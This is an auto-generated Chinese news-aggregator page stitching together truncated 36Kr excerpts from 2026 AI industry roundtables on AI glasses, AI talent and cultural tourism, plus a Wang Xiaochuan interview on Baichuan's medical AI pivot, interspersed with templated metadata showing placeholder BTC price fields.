Agent以后，每个人都搞智能体或者其他的解决方案，都希望你的Agent是长期在线的。什么硬件或者什么产品能够让Agent长期在线，并且能陪伴在我们身边，帮助我们处理跟物理世界之间的任务、关联、记录，这个就是杀手级的AI产品。总结来说，一定是长期在线的、能够跟物理世界相关联的入口，能够保证持续、高频使用，满足刚需。这也是下一代AI的入口，只要是一个入口，就一定是杀手级的产品。路少卿：很多正确的判断，最后其实会走到相近的方向上。刚才说的内容，跟我想的是类似的。杀手级的应用还可以再抽象一下。无论是从最开始的模型还是到现在演进的Agent，AI从单点介入，到长期、持续的介入，目前的Agent——无论是ChatGPT还是其他，还都是停留在数字世界对话框里的AI，能用到的，在线时长是有限的。我预期下一步我们能够延伸出一套从数字世界走到物理世界，真正能在物理世界跟人类协作的智能体系统。当然，这套智能体系统可以基于眼镜接入，也可以基于具身机器人接入，这些都是接入的硬件入口。对整个产品乃至技术的最大挑战，是能够真正实现跟真实世界的持续有效交互。举个例子，比如我现在是一个AI，刚才主持人和嘉宾都说了一段自己的陈述，对现在大多数的AI来说，它是无法分辨谁在说话，什么时候、什么话题需要它响应的。我刚才说的这一套能够跟真实世界交互的Agent，如果解决了这个问题，那么AI才能真正进入物理世界跟大家协作。刘子豪：作为一名辩手出身，接下来针对两位老师的分享简单做一下追问。赵维奇老师，AI眼镜分为两种路线，一种没有显示，更像是AI耳机加摄像头；另一种是AI加AR有显示的眼镜。您怎么看这两种路线的区分？赵维奇：硬件形态可以是多样化的，不管是外形还是功能，包括覆盖的人群。有显示、无显示，属于不同阶段、不同场景的产品形态，场景不一样，选择的时候就不一样，就像手机也有很多种。无显示，更多是蓝牙耳机、摄像头的延展，可穿戴蓝牙耳机和摄像头，会更轻一些，应用场景更轻一些。带显示，原来把AR带到了物理世界识别以后，不管是识别语音还是别的什么，一定会有反馈。如果没有显示，只能通过第三个媒介，比如手机、电脑、语音播出。人类大脑接受信息的带宽是很有限的，而视觉是最快的。300字、500字的文章，用眼一看，两秒钟就知道大概的意思；要读出来，有些同学可能都只有七秒的记忆，读到第五、第六句前面就忘了。显示本身就是增强人类带宽的部分。为什么会有显示和无显示的区别？有显示更多是把AI处理的结果实时呈现在现实视野中，完成了现实中交互的闭环。原来没有完成这个闭环，或者比较慢，现在完成了闭环。很多场景，不管是to B还是to C，真的需要显示。导航需要显示，大部分不太想看手机。十年前就有HUD的概念，抬头显示器，早年开宝马或者奔驰，前面有一个小小的HUD显示器，希望你在不干扰物理世界的情况下非常方便地看到，这是to C。to B那就太多了，提醒、提示、巡检，通过显示都是很好的呈现方式，这是场景下的需求。大家为什么要拿一个chatbot，为什么要用聊天框，不就是为了知道发生了什么、现在的情况是什么样。一直在语音播报，大脑容量肯定处理不了那么多事情，一眼可以用肉眼筛选。在Native AI大时代下，显示是必然的，对应着各种取舍。 AI不单是会听、会说。如果只会听和只会说，在我看来是旁观者，不参与。帮你看、帮你处理，他有话要说的时候，就像你找了一个秘书，他是个i人，很多状况都没有告诉你，效率反而更低，还不如你自己看。能够显示，理解空间并且返回到现实中，实时反馈，这是必然。很多厂商都在做各种形态的产品，行业做这么多产品，在某种程度上是验证了AI眼镜是未来的重要入口。形态上的取舍有短期的、长期的，包括商业策略的变化在内，这是大家的取舍。刘子豪：听下来感觉显示是AI眼镜从能听会拍走向真正理解现实世界的关键一步。下一个问题，AI眼镜很像2010年前后的智能手机，大家都在抢入口。乐奇内部最看重的商业模式是什么，是硬件销售、应用生态还是智能体服务带来的长期价值？赵维奇：如果大家长期做硬件，像我做了十几年的硬件，第一个要遵循的肯定是长期主义。硬件公司跑出来的都是五年、三年以上的公司，不然就跑到另外一个品类了。华强北，短平快，今天你可能做耳机，明天就做话筒，后天就做成人玩具了，跨度非常大，只是为了生产快速变现的方式，而不是推动行业的方式。相对来说，初创原始团队都是有初心的。我们的初心是做VR，在乐奇过去十年从来没有碰过VR，初心是做眼镜形态、跟物理世界交互的终端，商业模式也是长在这里的。硬件是入口，硬件完成大规模销售，从可用到好用，大家要用起来，这是第一个规模上的覆盖。每个人都有的时候，就会有下一部分——生态拓展。一旦有技术，需求就会大量增益出来。除了本身的翻译、提词、导航以外，现在最火的agent应用之一是“比价”，这是我们生态里的小伙伴做的，在超市里看到农夫

文章来源

标题: 圆桌对话：下一个杀手级AI产品，会出现在哪个赛道？| 2026AI Partner·北京亦庄AI+产业大会
来源: tech
链接: https://36kr.com/p/3821714896408713?f=rss
时间: 2026-05-23 18:10:00 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3821714896408713?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-23T12:00:15.120660+00:00

圆桌对话：下一个杀手级AI产品，会出现在哪个赛道？| 2026AI Partner·北京亦庄AI+产业大会

Sat, 23 May 2026 12:00:14 +0000

原文摘要

文章来源

标题: 圆桌对话：下一个杀手级AI产品，会出现在哪个赛道？| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3821714896408713?f=rss
时间: 2026-05-23 18:10:00 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3821714896408713?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T12:00:14.499662+00:00

圆桌对话：当AI进入产业前线：未来最稀缺的AI人才，会是谁？| 2026AI Partner·北京亦庄AI+产业大会

Sat, 23 May 2026 09:00:18 +0000

原文摘要

稀缺的，到底是懂AI的人，还是懂业务的人？一个反直觉的判断——懂AI这件事正在快速贬值，而能在关键低频决策中做出判断的人，才是未来的稀缺品。高频重复的工作最容易被AI替代，但在打造爆品、建立品牌等低频高影响力的决策上，人的判断依然不可替代，企业AI转型的最大卡点也不是技术或数据，而是“想不到应用场景”，当前AI的利润大头仍在基础设施层，应用端的ROI尚未完全释放，但拐点会比预想来得更快。以下为圆桌对话内容，经36氪整理编辑：

郑王宇丨36氪基金投资副总裁（主持）龚毅丨尼尔森IQ 通信及科技业务总经理罗飞丨华科智能AI研究院院长林海卓丨卓源亚洲创始合伙人、董事长郑王宇：各位老师好，我们今天一起讨论“当AI进入产业前线：未来最稀缺的AI人才会是谁”，谁会是行业的新贵。把行业翘楚聚集在这里很难得，请各位嘉宾用一句话亮个相，并带着您的视角参与接下来的讨论。龚毅：大家好，我是尼尔森IQ的龚毅，我们所处的行业是数据洞察行业，今天我谈论的点从这个行业出发。罗飞：大家好，我是华科智能的罗飞，是一家港股上市公司，主要做投资。我所在的研究院主要是赋能传统行业的AI转型，做培训、咨询和陪跑。我们有很多传统老板怎么升级的痛点，今天也跟大家分享一下。林海卓：大家好，我是卓源亚洲的林海卓，我们主要是一家聚焦于人工智能、半导体、机器人的投资机构，聚焦于风险投资市场。主要投了轻舟智能、江行智能、沐曦集成电路、小马智行这些代表性的硬科技项目。郑王宇：三位专家都是不同的视野。在过去一年里，AI从模型能力的竞赛进入到产业场景落地的环节。我们现在看，无论是消费零售、企业管理、制造、金融、医疗各行各业，包括创业投资，AI的价值不仅取决于模型参数和技术指标，更取决于是否能够进入真实的业务流程。说得大白话一点，现在的AI要进入整个产业的前线，影响决策执行甚至是商业落地的结果。这个过程中，新的问题就变得更加迫切了——当AI工具变得越来越普及，真正稀缺的人才是什么样的？最后一个圆桌，希望从企业竞争和人才角度出发，讨论AI抵达产业前线的战壕后，人与机器、专家与工具、组织与个体之间整体的分工与变化。先进入第一个问题。在这个过程中，不只是让员工多一个工具，而是开始影响到消费者洞察、产品创新、供应链、渠道运营、客户管理等决策环节。哪些工作在各位的视角看来是最容易被AI重构的？哪些环节适合AI，但实际落地又是最难的？先请林总。林海卓：我们目前有一个观点，在投资过程中，好的问题提出者依然是有壁垒的。目前来看，知识高度密集型的领域天然有一个特征，知识体系比较容易进行结构化描述，技术结构用代码化去表述，相对会有一个清晰的边界和对与错的判定，在这样一个逻辑下，比较符合现在人工智能解决问题的范式。像会计师、律师、程序员，在当前的情况下是比较容易被新技术替代的。但好的问题提出，还是需要人的引导。我们现在看到的是机器人、各种各样的Agent，包括喂养龙虾，还是需要从0到1推进的那一步，让它更好地做某一个你给它限定范围的事情。各个行业提出问题，或者结合这个人本身在行业中过往的经历，提出交叉学科前沿的想法，引导一个模型朝着这个方向积累，是未来比较容易构建个体壁垒的事情。大家更容易理解的是，围绕着体验的领域或者是情感领域、感性层面，心理学家、心理咨询师是不是也被AI替代？旅游体验师、旅游导游和具身智能场景相结合，具备丰富个性化、场景化体验的这部分，AI替代还有相当长的距离。从从业角度，AI更好的是赋能，而不会马上进行职业替换。大概这两个维度。郑王宇：投资人的视角相对宏观和全面，深入到每个行业的细节，罗院长，您在实际观察产业落地过程中，哪些行业容易被AI替代，哪些环节比较困难？罗飞：现在AI 2.0我们在应用AI大模型的能力。AI大模型本质上是推理引擎，我们认为以前人在推理的地方，都能挖掘到很多应用场景，看推理的过程是不是由AI来做。我们总结三个特征。重复，才有用AI的价值；标准，每次推理、思考、行动的过程有标准可言；熟练，是指这个企业里有熟练的人能把这个工作说清楚，我们需要把熟练的人的经验萃取出来，给AI大模型配好工具，让它来替代这个事情。这是一个维度。另外一个维度是工作环境。越是在电脑前工作，越容易被替代；越是跟人打交道的工作，越不容易被替代。在电脑前重复地查资料、想方案，不管是写成Word还是PPT、Excel，重复的查、想、写的工作，龙虾发展的能力越来越强，又能够控制电脑去做这个事情，电脑前的工作就会越来越容易被替代。越靠近人的、越靠近市场的，越不容易被替代。我们看见人的能力要往左移，左边是市场、客户，右边是后台流程，人的能力加上AI过后要不断往左移。郑王宇：意味着沟通、协作、洞察变得更重要了。我提炼出您说的三个关键词，重复、熟练、标准，有这些特征的环节更容易被替代。龚总。龚毅：我的点和前面的嘉宾一致。我们服务的客户是500强客户，服务的领域基本上在品牌营销、产品创新和零售以及客服方面。我们看到的点会把它化为矩阵：一个轴是频率，两位嘉宾都谈到高频和低频。另外一个轴是决策的战略性、重要性。最容易被替代掉的，频率越高会有大量回馈，数据很多，AI很容易学到经验，每次往复会做强化学习，AI能学到。对于低频，尤其是低频重要性高的事，很难替代掉。为什么在品牌营销领域会看到大量的广告投放复制，自动化程度非常高？从最初的创意到创作，到KOL投放，评估闭环，很运营化了。直到今天，我们仍然是说，你要做具有溢价的高端化品牌，做年轻人的品牌，或者在跨国文化、西欧、印度出海的时候，跟当地消费者引起共鸣的品牌，频率不高且影响巨大的事，我们还是看到AI很难解决，这是整个社会很稀缺的事。郑王宇：下一个问题，现在企业AI能力的落地阻力来源于哪里，是来源于技术、数据积累，还是组织惯性导致的？龚总可以从服务客户的角度来讲这个问题吗？龚毅：基础肯定是数据。直到今天，我们的AI已经会上搜索，已经会执行很多工作流，从skill的角度已经达到七八十分的水平，但仍然有很多幻觉在里面。幻觉本身基于我们怎么把有效数据给AI，在对的工作流基础上不会产生幻觉。在行业通常会发生的事，大家觉得以后不要做调研了，有一个想法不用做调研，只用问一万次AI，那就代表一万个消费者，我是不是可以基于这一万个调研，就形成我这款手机、冰箱是不是可以在市场上有比较好的表现？我们做了大量验证，会发现不是。第一个，你问AI是不是足够有代表性；第二个，每一次问AI，它是不是嵌入到我们具体的数据来回答问题。比如你是丁克或者四世同堂的家庭，你回答问题的时候，AI是不是代表了这些人的需求。最后加总起来，回到消费者说十分，九分是特别喜欢，九分到底是代表市场成功还是十分才能代表成功？一系列专业的点不合成起来，就会发现你问的东西都似是而非。不够高频的情况下，企业很难决定我是信还是不信。我举这个例子，总结起来，企业本身的流程会有很多专业点，这些专业点需要被解决，或者被AI解决，或者被其他方面解决，但AI赋能整个流程有很多要求。郑王宇：罗院长，您觉得整个AI在公司里落地，阻力来自于哪里？技术、数据还是组织惯性？

文章来源

标题: 圆桌对话：当AI进入产业前线：未来最稀缺的AI人才，会是谁？| 2026AI Partner·北京亦庄AI+产业大会
来源: tech
链接: https://36kr.com/p/3821542483857801?f=rss
时间: 2026-05-23 15:14:29 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3821542483857801?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-23T09:00:18.704679+00:00

圆桌对话：AI浓度与转化率：数字体验的实战增长法则

Sat, 23 May 2026 09:00:17 +0000

原文摘要

AI浓度并非越高越好，转化率的秘密在于人机共生的平衡点。 “AI应像手机一样贯穿全流程”，而面对亲子游客和老年群体，主动将AI浓度降至50%，却实现了超50%的转化率。浓度的关键是以人为本、文化温度先行。以下为圆桌对话内容，经36氪整理编辑：

薛冰丨上海蜚语信息科技副总裁（主持）崔健南丨广州搞搞镇文化科技创始人兼CEO 杨晟丨珀乐互动科技创始人薛冰：各位嘉宾大家下午好，我是主持人薛冰，很荣幸受到36氪以及北京亦庄的邀请主持下午的圆桌。今天非常开心能够邀请到和我同台的两位重量级嘉宾，崔总、杨总，现在我们直接进入圆桌环节，先请两位嘉宾做一下自我介绍，先从崔总开始。崔健南：谢谢主持人，大家下午好，各位领导、嘉宾下午好，我是广州搞搞镇文化科技有限公司的创始人崔健南，今天我带着今年很好的一个案例向大家进行分享，也向杨总、薛总这边多学习。杨晟：大家好，我是珀乐互动科技的创始人杨晟。我们深耕“AI + IP”领域，目前公司储备了丰富的IP资源库与AI工具矩阵，相信在座的各位体验或者观看过。在接下来的分享中，我也期待和大家做更深入的探讨。薛冰：我们今天不聊概念只聊增长，这次圆桌我们聚焦的是文旅和文娱两大深度主题。大家也知道，每个人不管工作、生活处处都是AI，AI在实战场景中的应用以及企业现在在落地的案例中怎么做，今天两位专家都会给大家的问题一一解答，我们会拆解最实战的案例进行深度分享。话不多说直接进入前线问答环节，通常圆桌开场都喜欢问三个问题。第一个，崔总，您在搞搞镇企业文化中做过哪些印象最深刻、最成功的案例是哪个，您在整个环节中都引入哪些体验，比如互动、AI营销或者是AI深度体验，搞搞镇文化是怎么做的？第二个，现在搞搞镇文化AI浓度有多高，有百分之多少，看您是用数字的方式还是通过您的表达给我们沉浸式体验。第三个，现场很多嘉宾都是来取经的，您的模式可复制吗，比如现在想要进入这个赛道您有什么值得分享的案例或者可以给我们参考一下，也不排除现场有很多现场想跟您合作的伙伴。崔健南：我们是一家人工智能科技企业，最早的时候，2019年，我们已经在钻研图像类生成式人工智能算法。我们公司现在是第四年的沉淀，说不上标杆，但先分享一个案例，我们跟广州市文化馆在做AI共创文化空间，在空间里我们主要聚焦的是几个方面。一个是运用我们自研的非遗大模型以及二维图像渲染、三维建模算法面对广州市文化馆，B端公共文化服务的内容，我们进入文化馆文旅景区，面对百万游客、观众我们能够提供什么样快速的创意聚焦以及成为我们个性化文创实务呈现的全链路闭环，在过往一年我们已经打造完成了，并且初具规模。这个案例怎么做？作为第二个问题小小的前缀，我打算用几个数字来做它的体现，AI浓度以及转化体现。第一个数字是“3”，整个链路打造呈现三种工程的能力，在人工智能我们在真正的场景落地里必须满足到的，第一个是数据工程能力，第二个算法工程能力，第三个才是我们的应用工程能力。这三个能力也是人工智能必须要落地的标准化实现解决方案三个本质要素。在过往一年我们是达标的，在广州市领域我们已经是人工智能典型案例单位，AI+文化典型案例单位。第二个数字“8万+”，广州市文化馆作为公共文化服务单位，跟我们共建的单位，它面对的游客人数是百万级别，园区非常大，有十多万平方米户外空间，我们在其中运营的是数字文化体验厅��及非遗图书馆，这两个内容我们并称AI文化共创空间，不只是空间概念，而是我们在场景里通过共建方，将我们的手工艺人、非遗传承人包括跟高校联动的人工智能创新实验室，带领的人才孵化，把这方面的人才聚焦进来，把我们文化数据聚焦进来，进而在场景里成为量化的社会价值和经济价值转化，匹配到AI+民生福祉、AI+新消费的两个方向，这是3和8万+的两个数字的集中体现。薛冰：非常情景化的描述，如果同一个园区或者景区，我用您的这一套方案，7天、15天能复制出来吗，您现在落地广州，其他地域或者以广东省其他园区、景区为例，可不可以给我们出出建议。崔健南：要打造成为真正落地的解决方案甚至是标准化人工智能解决方案，假如说同样的问题在一年前问到我，我的答案是大于7天，其中一种能力叫数据工程能力，这是在过往我们三到四年间我们很多的官方可溯源的文化数据沉淀下来，从我们的算法认知到提炼出来自研的非遗大模型，这个是我们落地的本质基础。通过这一年的打造，从大模型到结合通识化的大模型，我们也是华为的深度合作伙伴，华为深层人工智能基座，它已经能够成为3天之内的标准化落地的解决方案。无论是云端部署还是私有化部署，可以成为标准化内容，我们还蛮有信心的，整体不只是解决方案，包括后端运营市场营销的方案一体化落地，已经是可以去做复制的。薛冰：听您的讲述，从零到一，您完成了很好的闭环，相当于从实战角度这个模式可以复制，集聚了相对标准化的方式。您有踩过什么坑或者非遗大模型，包括版权、算法，有没有遇到过什么困难，包括安全、隐私保护层面方面的。崔健南：做企业的，要分享成功喜悦很简单，要说坑就太多了，有几个方面。数据来源，官方数据是相对好办的，比如非遗保护中心的数据，高校，艺术设计类的院校，他们很多年沉淀的数据，这还是比较简单的。但我们在文化领域特别是在非遗领域，很多知识不是结构化、体系化，很多是沉淀在一些手工艺里，是在手工艺人的脑海里，非遗传承人，他们非遗的知识传递，是师传、家传、祖传的形式，是真正的核心，我们说的文化内核往往隐藏在最核心的信息里得不到真正的传承，渐渐变成非遗内容。在这方面的补缺，过往我们也采取一些自采的数据，我们做体系化访问，数据收集、提取、清洗，呈现结构化数据，投喂给人工智能，成为向量化数据，这个过程是最花时间的。落地化场景里，to B、to C，面临很多使团和游客的进场，知识产权，肖像权，我们在现场除了我们的工作人员做面对面的解释之外，他们做实物化的文创创作，实物化拿走，自己留作纪念是没有违反知识产权的限制，但如果进一步商业化，我们有很多高校学生他们有很好的创意，从整个落地场景变成市场反馈很好的文创商品，这时候要跟学生或者文创老师提醒，我们要做数字确权，在工具上已经集中化呈现了。另外一个我们做数字存证，保证在他们创作文创的商品是有确认外观这方面的专利，并且有专门的存证，才得以对外做商业性转化，这是我们过往的坑中，采取了一些比较全面的措施。薛冰：感谢崔总，崔总分享的每个细节，您也深度参与其中的各个环节，您做的是非常有意义的事情，我们现在会建立自己的AI知识库，不管是手艺人，包括传承下来的文化，是在传承人的大脑里，怎么把这些更好地传播传承下去，结合文旅，运用AI技术整个是非常有意义的事情，也期待搞搞镇文化有更多的不管是合作还是项目给到大家。杨总，很早之前看过杨总的采访，对您做的事情特别感兴趣，不管是现在公司层面或者您个人层面做得比较成功的案例，一定是要加AI的，您之前做过的案例讲一讲，文旅里面的AI浓度怎么体现，文娱大家看到的有很多，不管是数字化短剧、视频，还有影片，您来分享一下。杨晟：上周，我们和开心麻花、阿里通义实验室联合打造了《羞羞的铁拳》IP动画，跟腾讯视频、火龙漫剧签

文章来源

标题: 圆桌对话：AI浓度与转化率：数字体验的实战增长法则
来源: ai
链接: https://36kr.com/p/3821519307591811?f=rss
时间: 2026-05-23 14:53:25 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3821519307591811?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T09:00:17.839639+00:00

对话王小川：离开通用人工智能的主干道之后

Sat, 23 May 2026 09:00:17 +0000

原文摘要

“如果没有转型，继续走主流道路，你也会有同等程度的焦虑。”王小川说，这次转型，让他真正回归到从创业第一天就最想做的事情：造AI医生。访谈｜邓咏仪杨轩文｜邓咏仪编辑｜张雨忻一年前，王小川带着百川智能来了一次激烈的“大刹车”：大幅缩减通用模型团队，关闭金融等多条行业线，All in医疗大模型。但与此同时，整个大模型行业却热闹非凡，大厂和创业公司轮番进行“轰炸式更新”——过去半年里，平均3天就有一个新版本的通用大模型面世。而看起来沉寂的百川在做什么？5月22日，王小川安静地交出答卷：新医疗大模型M4，以及Agent产品“百小医”。过去3年里，百川逐渐从“要做中国最好的基础大模型”转向“同时押注多个落地场景”、“做C端超级入口”、再到如今的“只做医疗”，团队规模不断缩小，部分合伙人离开，原定的上市节奏也因而延迟。这看似颠簸的路走对了吗？当我们在新产品发布前夕见到王小川时，发现他的状态反而更坦然了：“继续卷通用模型，走主流道路，那是一种选择，即使上市了很风光，但焦虑也不会减少半分。”他对《智能涌现》说，比起当时公司内外巨大的不理解，以及选择非共识道路的孤独感，他更难以接受的是：“公司快成立两周年了，却不知道自己到底在干什么，创造什么价值。” 在互联网上一个十年，医疗并不是一个好生意——商业化路径漫长，反馈周期以年计。从大厂到初创公司，即使投入高达数十亿元，成功跑通PMF的产品都寥寥无几，更别提获得商业上的大成功。在当时的背景下，很多公司的选择是给医生提效，或是打通挂号、药、保险的链路，以此跑通商业闭环。但王小川说，这些都不是当下最重要的事。他想明白一点：百川的C端产品必须以患者为中心，要增加医生的供给，“我们要造更多的医生”。在这个思路下，百川在医疗的B端场景中有了更多落地进展：在北京儿童医院，百川两款AI儿科医生已在院内多学科会诊中正式“上岗”。在很多诊疗方案中，AI儿科医生与专家会诊结果吻合率达95%，并开始向河北省150余家县级医院下沉。同时，在C端，百川新上线的Agent产品“百小医”则在App和微信生态中共同提供服务。“百小医”就像一个“AI家庭医生”，不只是提供问答，会在患者就医前准备给医生的病情梳理，做处方分析，管理病例，还会定时提醒你吃药、做检查等等。

△图源：百川智能王小川并不接受“医疗是更长、更慢的一条路”这个观点。“这个想法本身就是一种时代惯性。”他的逻辑是：如果Coding Agent能在几个月内成为史上增长最快的应用场景，就意味着很多旧边界已经被打破。从通用大模型的白热化竞争中抽身，All in医疗——对这个选择，王小川坦承，“我的选择不一定对，也不一定错，但我觉得，AI时代只要交付给用户足够重要的价值，商业化会是水到渠成的事。” 对于那些依然身处在同质化竞争中的AI公司来说，王小川的选择，至少是一条值得认真审视的路径：去找一个真正相信的问题，然后用足够长的时间回答它。以下是王小川与《智能涌现》的对话： All in医疗有它的代价《智能涌现》：今年年初，你们发了医疗大模型M3，今天再接着发布新一代医疗大模型M4，还有新Agent产品百小医，核心提升有哪些？王小川：M4是我们的闭源医疗大模型，通过API提供服务，一个核心亮点是走Agent架构，从简单的对话走向临床，里面有基于患者全生命周期的记忆能力。另外的突破有几个：幻觉减少、循证能力增强——我们把指南做原子化拆解，甚至把专家共识也纳入进来；提问能力也有了很大提升——这个对医疗场景很关键，我们每提升两个点的提问能力，就能增加一个点的诊断准确率。现在，在肿瘤这类复杂场景里，M4能自己跑完整个Agent workflow——收集数据、校对冲突、调用基因变异数据库、出诊断建议。M4能够自主决策，不同的子项肿瘤的情况它甚至能查基因库，像龙虾一样，做到主动提问和主动管理。 “百小医”是百川的新To C产品，形态是一个在App和微信上的bot，可以主动提供处方、病例分析，做全周期的健康数据管理。《智能涌现》：你所指的M4模型“做得好”，是怎么定义的？王小川：在OpenAI发布的HealthBench测评集上，我们在Hard和Professional两个子集里都是最好的模型。我们没有对benchmark做特殊训练，所以，模型表现好就是好。这个评测集有5000个医患多轮对话场景，262个人类医生编写了近5万条评价规则，不是刷榜能刷出来的。《智能涌现》：今天最大的行业共识是Coding，百川却在一年前就选择不走通用模型路线，All in医疗，当时怎么想的？王小川：AGI大叙事没问题，但这里面肯定有泡沫，泡沫褪去之后珍珠会留下来。怎么去找这个珍珠？大家会押注各自的生态位。做百川到现在，我想做的东西其实没什么变化——当初的初心就是做生命模型，造医生，ChatGPT的出现是这个目标的助力。我之前想得太早，又想得太远了。2023年的时候你跟大家讲造医生、做生命模型，会发现理解的人不多。《智能涌现》：但在那个节点，不卷通用模型，是一种脱离主流赛道的选择，你有过担忧吗？王小川：如果做主流，你也会有其他恐惧。我不是说我现在做得特别好，只是主流也有主流的问��，不同选择有各自的代价。我们在2025年4月大调整后开始专注做医疗，也是因为当时临近百川成立两周年，我有巨大的紧迫感。当时公司特别重，从模型、医生到生命模型，再到商业化都在做。当时就是不知道自己在干嘛，在创造什么价值。《智能涌现》：这个决定的代价是什么？王小川：很多人在那个时候离开。有同学觉得做通用模型才是对的道路，投资人也有意见。当时有各种曲解，比如有人传小川可能对上市没想法，无所谓，反正自己财务自由了。《智能涌现》：有创业公司也会选择先不考虑这么远，先赚到钱养梦想，上市也是一种路径。王小川：我们那个时候也不缺钱啊。上市了，然后呢？《智能涌现》：百川的一些前高层，以及你的一些投资人，他们都很难理解你的突然刹车。王小川：可以想办法把ARR、收入做起来，但在当时也不是我最想要的。第一，你就没精力做业务了，你拿到收入跟你真正交付一个好的产品或服务不是一个维度的事。第二，业务单点还没突破的时候，搞矩阵化管理是特别危险的事，当时销售、产品、技术，每个人身兼数职，为多个产品服务。这种状态和我对公司想实现的价值的判断是没法match的。如果我从内心就不相信这个事情的话，也很难做好。《智能涌现》：那你怎么跟投资人解释？王小川：很难解释。投资人肯定想上市，我只能继续把现在的事做好。《智能涌现》：4月调整完之后，团队规模、架构，包括百川整体的工作方法有什么改变？王小川：我们人数压缩到不超过300人，层级扁平，现在就10多个人给我汇报。我们现在就分几大块：一是做医疗模型本身；二是以Agent的形态做AI医生产品；三是做医院体系的合作，通过AI医生，把医院、卫健委等等体系联系起来，我们的目标是用AI做四级诊疗。《智能涌现》：所以，你对这一段探索过程的反思会是什么？

文章来源

标题: 对话王小川：离开通用人工智能的主干道之后
来源: ai
链接: https://36kr.com/p/3821521291038856?f=rss
时间: 2026-05-23 14:53:35 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3821521291038856?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T09:00:17.027942+00:00

圆桌对话：人才特种兵：“AI原生人才”与“产业老炮”的共生手册| 2026AI Partner·北京亦庄AI+产业大会

Sat, 23 May 2026 09:00:15 +0000

原文摘要

真正AI原生的人，甚至不会来这个现场。但对于那些积极转型的20%，如何找到、培养并留住他们，这里有一本实战手册。只有1%的企业是AI原生企业，20%积极拥抱变化，80%在苦苦挣扎；人才亦然。圆桌深入探讨了企业“赶时髦招AI人才”的焦虑、通过黑客松内部挖掘AI人才的方法、以及“事业留人、文化留人”的留存策略。以下为圆桌对话内容，经36氪整理编辑：

帮主丨36氪《AI局内人》主播（主持）郑鹏宇丨杭州颜柯教育科技有限公司创始人肖玛峰丨AI招聘平台TTC创始人帮主：各位下午好，我是这场圆桌的主持人帮主。这场圆桌不聊技术落地的事，聊一个在座很多老板都非常关心的事——AI人才从哪里来，以及能不能自己培养。今天的关键词是“AI原生人才与产业老炮的共生手册”。这边是郑总，我认为是比较原生的AI人才；肖总是在AI+招聘+猎头领域深扎很多年的产业老炮。两位先简单介绍一下自己和自己做的事跟这个主题有什么关系。郑总先来。郑鹏宇：谢谢帮主，大家好，我是来自杭州颜柯教育科技有限公司的郑鹏宇。我们做的事情是用辩论赋能表达，用表达赋能创业。帮主：郑总是36氪的老朋友了，我们之前做过挑战者之夜，当时是你们的团队在现场跟一个机器人进行人类顶尖辩手和机器人的辩论，蛮有意思的。肖总。肖玛峰：大家好，我是肖玛峰。TTC是一家创业公司，现在在用AI做招聘，同时主要服务国内的企业和AI人才。目前服务1500多家公司，同时也在服务行业里近百万AI人才，帮助他们匹配更多机会，在国内是比较领先的。过去三年多的时间里，我们陆续获得了源码资本、创新工场、九合创投、中关村资本、百度以及厚雪资本的投资。我们既是AI公司，同时也在做AI招聘这件事。帮主：在座两位嘉宾，一位跟教育沾边，一位跟AI人才挖掘相关。今天整场主线可以按照“AI人才从哪里来、如果想自己培养怎么教才不跑偏、教出来以后该怎么留下”这些老板比较关注的痛点来走。第一个问题问一下二位，关于AI原生人才的定义，你们认为AI原生人才身上最戳你们的三个标签可能是什么？郑鹏宇：AI原生人才，第一个标签是会用AI、善用AI、惯用AI，得把AI融入自己日常的工作流。第二个跟大多数人的感知不一样，要在AI之外拥有AI所不能达到的能力。有一个能力在当下很重要——做判断。AI能给大家太多的选择，AI可能是全知、全能的，具体怎么在它给的答案里做出选择，这是很重要的命题。第三个，我们说的AI原生人才有一个特点，更多是讨论怎么落地，动手能力或实践能力强于上一个时代的人才。帮主：郑总说的这三个标准我自认为也算符合。但开场前肖总给我下了个判断，说帮主你不是AI原生人才。肖总你表达一下。肖玛峰：AI原生是生来就跟AI在一起的，您前面有十几年没有AI也能活，AI原生人才是没有AI就不活了。我认为AI原生人才的定义就是没了AI就不能活。不只是人才，企业也是一样。我有一个断言，今天的企业里，只有1%是AI时代原生的企业，如鱼得水；20%会积极拥抱变化，也可以实现转型；剩下接近80%的公司都在苦苦挣扎，人才也是一样。我们公司有一个AI原生的哥们，是OpenClaw全球贡献排行榜第四名，他现在不太喜欢跟人说话，只喜欢跟AI说话，自己有两台mac mini，天天跟AI聊天。今天最AI原生的人，他可能都不会来这个现场。到现场的同学都是对AI有很强的期待，想要改变、积极拥抱的，你们就属于20%积极转型的人。剩下连参加这种活动都懒得来的人，就属于未来也许会被淘汰的一群人。帮主：肖总在现场下了个比较大的判断，说在这个场里的可能都不属于AI原生范畴。刚才聊天的时候您也介绍到，公司服务了一千多家AI企业，这些企业是不是也有80%可能不属于AI原生企业，他们这些人大概属于哪些分类？肖玛峰：跟我们合作的企业都是比较先进的，才会跟我们合作。我们服务的AI公司也好，也有一些传统公司他们想要找AI人才，他们都是积极主动拥抱AI或者本身就是AI原生的公司。如果是初创型，我看到有AI原生的公司，他们都很年轻，人也不会那么多，二三十个人就足够了，也融了几千万的钱，才能用得起我们的服务。我去看这些公司的时候，他们怎么找到属于他们优秀的AI原生人才，一会儿可以展开聊。帮主：私下聊的时候，肖总跟我们说了一些。假如有朋友想换工作，想找跟AI相关的，有一些办法，肖总可以跟我们分享一下。郑总你们属于典型的AI原生团队，正好赶上了GPT3.5大爆发，你们团队内部的人才画像是什么样的，有多少人做开发，多少人做运营？郑鹏宇：我们公司算是不太典型的OPC团队。到目前为止整个公司全职的人不超过10个人，是蛮小的团队。做开发的人，目前负责开发的就我一个人，涉及到coding和产品都是我一个人在落地。